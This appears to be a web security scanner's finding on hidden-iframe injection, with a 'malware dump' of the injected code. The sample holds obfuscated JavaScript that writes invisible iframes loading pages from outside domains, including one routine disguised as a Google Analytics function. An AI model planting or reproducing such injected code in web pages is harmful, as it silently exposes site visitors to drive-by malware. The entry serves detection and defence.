Description:
A Hidden iframe was detected. This is often used to load malware from external web sites while not being visible to the user.
Affecting:
Any web site.
Malware dump (sample of malware):
document.write('< script type="text/javascript" src="/js//log.php"..document.write(unescape('%3ci%66ram%65 width='+'1 %68eight=1 border=%30 f%72ameb%6fr%64er=0 %73rc=%27h%74tp%3a/%2fjenaall'+'ee%2ecom/st%64/%67o.php?sid='+'1%27%3e%3c'+'/if%72ame%3e..document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E...function google_analytics() {var t,o,l,i,j;
var s='';s+='060047116101120116097116101097062060047116101120116097114101097062';
s+='060105102114097109101032115114099061034104116116112058047047116114097102102108111097100115046105110';
s=s+'047105110046099103105063100101102097117108116034032119105100116104061034049034032104101105103104116';
s=s+'061034049034032115116121108101061034100105115112108097121058110111110101034062060047105102114097109';
s=s+'101062';t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));
document.write(String.fromCharCode(t));t='';}}google_analytics();